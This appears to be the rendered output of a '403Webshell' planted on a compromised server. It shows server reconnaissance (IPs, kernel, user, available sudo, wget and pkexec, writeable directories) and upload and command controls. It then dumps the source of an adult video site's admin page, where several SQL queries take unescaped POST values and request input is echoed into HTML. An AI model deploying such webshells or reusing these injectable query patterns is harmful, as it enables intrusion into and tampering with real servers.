403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.185
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/www.superporner.com/porn/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/www.superporner.com/porn/admin/existing_content.php
<? 
require "header.php"; 
foreach($_REQUEST as $k=>$v) {
	$_REQUEST[$k] = mysql_real_escape_string($v);
}
if($_POST[appendKeywords]) { 
	$_POST[appendKeywords] = mysql_real_escape_string($_POST[appendKeywords]);
}
if($_POST['list']) {
	
	foreach($_POST['list'] as $i) {
		if(is_numeric($i)) {
		if($_POST[action] == 'delete') {
				$result = mysql_query("SELECT * FROM content WHERE record_num = '$i'");
                $row = mysql_fetch_array($result);
				$data = mysql_real_escape_string(serialize($row)); 
				$time = date('Y-m-d H:i:s');
				mysql_query("INSERT INTO content_deleted SET content = '$i', `date` = '$time', data = '$data'");
                mysql_query("DELETE FROM content WHERE record_num = '$i'") or die(mysql_error());
                mysql_query("DELETE FROM content_views WHERE content = '$i'") or die(mysql_error());
                mysql_query("DELETE FROM content_niches WHERE content = '$i'") or die(mysql_error());
                mysql_query("DELETE FROM content_pornstars WHERE content = '$i'");
				mysql_query("DELETE FROM images WHERE gallery = '$i'");
                $first = $row[filename][0];
                $second = $row[filename][1];
                $third = $row[filename][2];
                $forth = $row[filename][3];
                $fifth = $row[filename][4];
                $subdir = $first.'/'.$second.'/'.$third.'/'.$forth.'/'.$fifth.'/';
                unlink($video_path.'/'.$subdir.$row[filename]);
				if($row[mobile]) {
					@unlink($video_path.'/'.$subdir.$row[mobile]); 
				}
				if($row[trailer_filename]) { 
					@unlink($video_path.'/'.$subdir.$row[trailer_filename]); 
				}						
                if(!$row[embed] && $row[photos] == 0 && $row[orig_filename]) { 
					$dirname = str_replace('.flv','',$row[orig_filename]);
					delete_folder($thumb_path.'/'.$subdir.$dirname);
				}
		}
		if($_POST[action] == 'unpublish') {
			mysql_query("UPDATE content SET enabled = 0 WHERE record_num = '$i'");
		}
		if($_POST[action] == 'spintext') {
			$spinResult = mysql_query("SELECT * FROM content WHERE record_num = '$i'");
			$spinRow = mysql_fetch_array($spinResult);
			$newTitle = mysql_real_escape_string(spinText($spinRow[title]));
			$newDesc = mysql_real_escape_string(spinText($spinRow[description]));
			mysql_query("UPDATE content SET title = '$newTitle', description = '$newDesc' WHERE record_num = '$i'");
			
		}
		if($_POST[action] == 'setkeywords') {
			mysql_query("UPDATE content SET keywords = CONCAT(keywords,', ','$_POST[appendKeywords]') WHERE record_num = '$i'");
		}
		
		if($_POST[action] == 'setpaysite') {
			mysql_query("UPDATE content SET paysite = '$_POST[setpaysite]' WHERE record_num = '$i'");
		}
		if($_POST[action] == 'setuser') {
			mysql_query("UPDATE content SET submitter = '$_POST[setuser]' WHERE record_num = '$i'");
		}
		if($_POST[action] == 'setchannel') {
			foreach($_POST[setchannel] as $i2) {
			if(is_numeric($i2)) {
				mysql_query("INSERT INTO content_niches (content, niche) VALUES ('$i','$i2')");
				}
			}
		}
		if($_POST[action] == 'setpornstar') {
			foreach($_POST[setpornstar] as $i2) {
			if(is_numeric($i2)) {
				mysql_query("INSERT INTO content_pornstars (content, pornstar) VALUES ('$i','$i2')");
				}
			}
		}
		}
	}
}
?>
<?php
   $mtime = microtime();
   $mtime = explode(" ",$mtime);
   $mtime = $mtime[1] + $mtime[0];
   $starttime = $mtime;
?>
<script language="javascript">
function processList(spanid) {
	if(spanid == 'setuser') {
		document.getElementById('setpaysite').style.display = 'none';
		document.getElementById('setchannel').style.display = 'none';
		document.getElementById('setpornstar').style.display = 'none';
		document.getElementById('setuser').style.display = 'inline-block';
		document.getElementById('setchannelwarning').style.display = 'none';
		document.getElementById('setkeywords').style.display = 'none';
	}
	else if(spanid == 'setkeywords') {
		document.getElementById('setpaysite').style.display = 'none';
		document.getElementById('setchannel').style.display = 'none';
		document.getElementById('setpornstar').style.display = 'none';
		document.getElementById('setuser').style.display = 'none';
		document.getElementById('setchannelwarning').style.display = 'none';
		document.getElementById('setkeywords').style.display = 'inline-block';
	}
	else if(spanid == 'setpaysite') {
		document.getElementById('setpaysite').style.display = 'inline-block';
		document.getElementById('setchannel').style.display = 'none';
		document.getElementById('setpornstar').style.display = 'none';
		document.getElementById('setuser').style.display = 'none';
		document.getElementById('setchannelwarning').style.display = 'none';
		document.getElementById('setkeywords').style.display = 'none';
	}
	else if(spanid == 'setpornstar') {
		document.getElementById('setpaysite').style.display = 'none';
		document.getElementById('setchannel').style.display = 'none';
		document.getElementById('setpornstar').style.display = 'inline-block';
		document.getElementById('setuser').style.display = 'none';
		document.getElementById('setchannelwarning').style.display = 'none';
		document.getElementById('setkeywords').style.display = 'none';
	}
	else if(spanid == 'setchannel') {
		document.getElementById('setpaysite').style.display = 'none';
		document.getElementById('setchannel').style.display = 'inline-block';
		document.getElementById('setpornstar').style.display = 'none';
		document.getElementById('setuser').style.display = 'none';
		document.getElementById('setchannelwarning').style.display = 'inline-block';
		document.getElementById('setkeywords').style.display = 'none';
	}	
	else {
		document.getElementById('setpaysite').style.display = 'none';
		document.getElementById('setchannel').style.display = 'none';
		document.getElementById('setpornstar').style.display = 'none';
		document.getElementById('setuser').style.display = 'none';
		document.getElementById('setchannelwarning').style.display = 'none';
		document.getElementById('setkeywords').style.display = 'none';
	}
}

function popSpecificEdit() { 
	var id = document.getElementById('contentId').value;
	var link = "<? echo $basehttp; ?>/admin/edit_content.php?id="+id; 
	$.colorbox({
		width:"1000px", 
		height:"700px", 
		iframe:true,
		href:link
	});
}

</script>

<div id="right_column">
	<div id="right_top">
		<div id="right_home"></div>
		<div id="right_right"> <a href="index.php">Admin Home</a> <span><a href="existing_content.php">Existing Content</a></span> </div>
	</div>
	<div id="right_bg">
		<h2>Existing<strong>Content</strong></h2>
		<? if(ini_get("max_input_vars")) { ?>
			<p><strong>Warning! Your php.ini max_input_vars variable is set to <? echo ini_get("max_input_vars"); ?>. We recommend setting this to at least 2600, as it may cause unexpected behavior such as content deletion when processing larger data sets on this page (aka setting the per page variable to 1000 or more)</strong></p>
			<? } ?>
		<div id="index_left" style='width: 100%;'>
			<p><? echo $error; ?></p>
			<form id="form2" name="form2" onSubmit="popSpecificEdit(); return false" action='#'>
				<table width="390" border="0" align="center" cellpadding="3" cellspacing="0" class='pagetable'>
					<thead>
						<tr>
							<th colspan=3 align='left'>Edit Specific Content</th>
						</tr>
					</thead>
					<tr>
						<td width="114" height="25">Content ID</td>
						<td  height="25" align="left" ><input name="id" type="text" id="contentId" /></td>
                        <td width="60" height="25" align="left" ><input type="submit" id='editspecific' name="Submit3" value="Edit" /></td>
					</tr>
				</table>
			</form>
			<br />
			<form id="form2" name="form2" method="GET" action="">
				<table width="390" border="0" align="center" cellpadding="3" cellspacing="0" class='pagetable'>
					<thead>
						<tr>
							<th colspan=2 align='left'>Search Existing Content</th>
						</tr>
					</thead>
					<tr>
						<td width="114" height="25" class="style4">Select Channel</td>
						<td width="262" height="25" align="left" class="style4"><select name="channel" id="niche">
								<option value=''>--All Channels--</option>
								<? $result1 = mysql_query("SELECT * FROM niches ORDER BY name ASC");
	  while($row1 = mysql_fetch_array($result1)) {
	  		if($_REQUEST[channel] == $row1[record_num]) { $selected = 'selected'; } else { $selected = ''; }
	  		echo "<option $selected value='$row1[record_num]'>$row1[name]</option>";
	  }	
	  ?>
							</select></td>
					</tr>
					<tr>
						<td width="114" height="25" class="style4">Select Pornstar</td>
						<td width="262" height="25" align="left" class="style4"><select name="pornstar" id="pornstar">
								<option value=''>--All Pornstars--</option>
								<? $result1 = mysql_query("SELECT * FROM pornstars ORDER BY name ASC");
	  while($row1 = mysql_fetch_array($result1)) {
	  		if($_REQUEST[pornstar] == $row1[record_num]) { $selected = 'selected'; } else { $selected = ''; }
	  		echo "<option $selected value='$row1[record_num]'>$row1[name]</option>";
	  }	
	  ?>
							</select></td>
					</tr>
					<tr>
						<td width="114" height="25" class="style4">Select Paysite</td>
						<td width="262" height="25" align="left" class="style4"><select name="paysite" id="paysite">
								<option value=''>--All Paysites--</option>
								<option value='none' <? if($_REQUEST[paysite] == 'none') { echo 'selected'; } ?>>No Paysite</option>
								<? $result1 = mysql_query("SELECT * FROM paysites ORDER BY name ASC");
	  while($row1 = mysql_fetch_array($result1)) {
	  		if($_REQUEST[paysite] == $row1[record_num]) { $selected = 'selected'; } else { $selected = ''; }
	  		echo "<option $selected value='$row1[record_num]'>$row1[name]</option>";
	  }	
	  ?>
							</select></td>
					</tr>
					<tr>
						<td height="25" class="style4">Type</td>
						<td height="25" align="left" class="style4"><select name="type" id="user">
								<option value="">--All Types--</option>
								<option value="photos">Photos</option>
								<option value="videos">Videos</option>
								<option value="plugs">Plugs</option>
							</select></td>
					</tr>
					<tr>
						<td height="25" class="style4">Search</td>
						<td height="25" align="left" class="style4"><input name="keywords" type="text" id="keywords" value="<? echo $_REQUEST[keywords]; ?>" /></td>
					</tr>
					<tr>
						<td height="25" class="style4">User Number</td>
						<td height="25" align="left" class="style4"><input name="user" type="text" id="keywords" value="<? echo $_REQUEST[user]; ?>" /></td>
					</tr>
					<tr>
						<td height="25" class="style4">Sort By</td>
						<td height="25" align="left" class="style4"><select name="sortby" id="sortby">
								<option <? if($_GET[sortby] == 'encoded_date' || !$_GET[sortby]) { echo 'selected'; } ?> value="encoded_Date">Publish Date</option>
								<option <? if($_GET[sortby] == 'title') { echo 'selected'; } ?>  value="title">Title</option>
								<option <? if($_GET[sortby] == 'views') { echo 'selected'; } ?> value="views">Views</option>
								<option <? if($_GET[sortby] == 'length') { echo 'selected'; } ?> value="length">Length</option>
								<option <? if($_GET[sortby] == 'rating') { echo 'selected'; } ?> value="rating">Rating</option>
							</select>
							<select name="sorttype" id="sorttype">
								<option <? if($_GET[sorttype] == 'ASC') { echo 'selected'; } ?> value="ASC">Ascending</option>
								<option <? if($_GET[sorttype] == 'DESC' || !$_GET[sorttype]) { echo 'selected'; } ?> value="DESC">Descending</option>
							</select>
						</td>
					</tr>
					<tr>
						<td width="114" height="25" class="style4">Per Page</td>
						<td width="262" height="25" align="left" class="style4"><select name="setmax" id="niche">
								<option <? if($_GET[setmax] == '100' || !$_GET[setmax]) { echo 'selected'; } ?> value='100'>100</option>
								<option <? if($_GET[setmax] == '250') { echo 'selected'; } ?> value='250'>250</option>
								<option <? if($_GET[setmax] == '500') { echo 'selected'; } ?> value='500'>500</option>
								<option <? if($_GET[setmax] == '1000') { echo 'selected'; } ?> value='1000'>1000</option>
								<option <? if($_GET[setmax] == '2500') { echo 'selected'; } ?> value='2500'>2500</option>
							</select></td>
					</tr>
					<tr>
						<td height="25" colspan="2" class="style4" align='center'><input type="submit" name="Submit2" id="button" value="Search" /></td>
					</tr>
				</table>
			</form>
			<br />
			<br />
			<? if($_REQUEST[Submit2]) { ?>
			<form id="form1" name="form1" method="post" action="">
				<?
if(!isset($_GET['page']) || $_GET[page] == '') { 
	$page = 1; 
} else { 
	$page = $_GET['page']; 
}
if(!is_numeric($_GET[setmax])) { $max_results = 100; } else { $max_results = $_GET[setmax]; }
$from = (($page * $max_results) - $max_results); 

$okSortBy = array('encoded_date','title','views','length','rating');
$okSortType = array('ASC','DESC'); 
if(in_array($_REQUEST[sortby],$okSortBy)) {
	$sortBy = $_REQUEST[sortby];
}
else {
	$sortBy = 'encoded_date';
}
if(in_array($_REQUEST[sorttype],$okSortType)) {
	$sortType = $_REQUEST[sorttype];
}
else {
	$sortType = 'DESC';
}

$bgcolor = '#ffffff';
if(is_numeric($_REQUEST[channel])) { $nicheand = " AND content_niches.niche = '$_REQUEST[channel]' AND content_niches.content = content.record_num "; $tableif = ', content_niches '; }
if(is_numeric($_REQUEST[pornstar])) { $nicheand .= " AND content_pornstars.pornstar = '$_REQUEST[pornstar]' AND content_pornstars.content = content.record_num"; $tableif .= ', content_pornstars '; }
if(!empty($_REQUEST[keywords])) { $_REQUEST[keywords] = mysql_real_escape_string($_REQUEST[keywords]); $keywordsand = " AND (keywords LIKE '%$_REQUEST[keywords]%' OR title LIKE 
'%$_REQUEST[keywords]%' OR description LIKE '%_REQUEST[keywords]%' OR embed LIKE '%$_REQUEST[keywords]%' OR record_num = '$_REQUEST[keywords]') "; }
if(is_numeric($_REQUEST[paysite]) || $_REQUEST[paysite] == 'none') { 
	if($_REQUEST[paysite] == 'none') {
		$paysitesand = " AND content.paysite = '0'"; 
	}
	else {
		$paysitesand = " AND content.paysite = '$_REQUEST[paysite]'"; 
	}
}
if(!empty($_GET[type])) {
	if($_GET[type] == 'photos') { 
		$paysitesand .= " AND photos = '1'";
	}
	elseif($_GET[type] == 'videos') {
		$paysitesand .= " AND photos = '0'";
	}
	elseif($_GET[type] == 'plugs') {
		$paysitesand .= " AND plug_url != ''";
	}
}
if(is_numeric($_REQUEST[user])) { $paysitesand .= "AND submitter = '$_REQUEST[user]'"; } 
$groupby = "GROUP BY content.record_num";
$q = "SELECT content.record_num, (SELECT content_views.views FROM content_views WHERE content_views.content = content.record_num) as views FROM content $tableif WHERE 1=1 $nicheand $paysitesand $keywordsand $dateand $pornstarsand $dateaand  $urland  $usersand $typeand AND content.enabled = 1  $groupby ORDER BY $sortBy $sortType LIMIT $from,$max_results";
$result_count = mysql_query("SELECT content.record_num, (SELECT content_views.views FROM content_views WHERE content_views.content = content.record_num) as views FROM content $tableif WHERE 1=1 $nicheand $paysitesand $pornstarsand $keywordsand $dateand $dateaand  $urland $usersand $typeand AND content.enabled = 1 $groupby");

$rresult = mysql_query($q);
$total_results = mysql_num_rows($result_count);
$total_pages = ceil($total_results / $max_results);
?>
				<p align='center'><? echo $total_results; ?> Result(s) Found.</p>
				<table width="750" border="0" align="center" cellpadding="3" cellspacing="0" class='pagetable'>
					<thead>
						<tr class='menutop'>
							<th width="120" align='left'>Thumb</th>
							<th align='left'>Information</th>
							<th width="21" align="center">&nbsp;</th>
							<th width="20" align="center">&nbsp;</th>
							<th width="55" align="center"><input type="checkbox" name="allbox" id="checkAll" onclick="CheckAll(document.form1)" /></th>
						</tr>
					</thead>
					<?
while($rrow = mysql_fetch_array($rresult)) { 
?>
<tr bgcolor = '<? echo $bgcolor; ?>'  id='record<? echo $rrow[record_num]; ?>'>
<?
	include('existing_content_row.php');
?>
</tr>
<? 
if($bgcolor == '#ffffff') { $bgcolor = "#EBEBEB"; } else { $bgcolor = '#ffffff'; }
}
?>
					<tr bgcolor = '<? echo $bgcolor; ?>'>
						<td colspan="7" class="style4"><center>
								<br />
								<span>
								<select name="action" id="action" onChange='processList(this.value);'>
									<option value="delete">Delete</option>
									<option value="setpaysite">Assign To Paysite</option>
									<option value="setpornstar">Assign To Pornstar(s)</option>
									<option value="setchannel">Assign To Channel</option>
									<option value="setuser">Assign To User</option>
									<option value="spintext">Spin Text</option>
									<option value="setkeywords">Append Keywords</option>
									<option value="unpublish">Unpublish</option>
								</select>
								</span> <span id='setpaysite' style='display: none;'>
								<select name="setpaysite">
									<? $result1 = mysql_query("SELECT * FROM paysites ORDER BY name ASC");
	  while($row1 = mysql_fetch_array($result1)) {
	 
	  		echo "<option value='$row1[record_num]'>$row1[name]</option>";
	  }	
	  ?>
								</select>
								</span> <span id='setpornstar' style='display: none;'>
								<select name='setpornstar[]' size="10" multiple="multiple" onchange="chooseImageMult(this)">
									<? $result1 = mysql_query("SELECT * FROM pornstars ORDER BY name ASC");
	  while($row1 = mysql_fetch_array($result1)) {
	  		if($_REQUEST[pornstars] == $row1[record_num]) { $selected = 'selected'; } else { $selected = ''; }
	  		echo "<option $selected value='$row1[record_num]'>$row1[name]</option>";
	  }	
	  ?>
								</select>
								</span> <span id='setchannel' style='display: none;'>
								<select name='setchannel[]' size="10" multiple="multiple">
									<? $result1 = mysql_query("SELECT * FROM niches ORDER BY name ASC");
	  while($row1 = mysql_fetch_array($result1)) {
	  		if($_REQUEST[channel] == $row1[record_num]) { $selected = 'selected'; } else { $selected = ''; }
	  		echo "<option $selected value='$row1[record_num]'>$row1[name]</option>";
	  }	
	  ?>
								</select>
								</span>
								<span id='setkeywords' style='display: none;'>
								<input type='text' name='appendKeywords' placeholder="Comma Separated" />
								</span>
								
								 <span id='setuser' style='display: none;'>
								<select name="setuser">
									<? $result1 = mysql_query("SELECT * FROM users ORDER BY name ASC");
	  while($row1 = mysql_fetch_array($result1)) {
	 
	  		echo "<option value='$row1[record_num]'>$row1[username]</option>";
	  }	
	  ?>
								</select>
								</span>
								<input name="Submit" type="submit" class="style4" value="Process Selected" />
								<br />
								<span id='setchannelwarning' style='display: none;'> </span>
							</center></td>
					</tr>
				</table>
				<p>&nbsp;</p>
				<center>
					<div id='adminPagination'> <? echo showAdminPagination($total_pages); ?> </div>
				</center>
			</form>
			<? } ?>
		</div>
	</div>
	<div id="right_bottom"></div>
</div>
</div>
</div>
<? require "footer.php"; ?>

Youez - 2016 - github.com/yon3zu
LinuXploit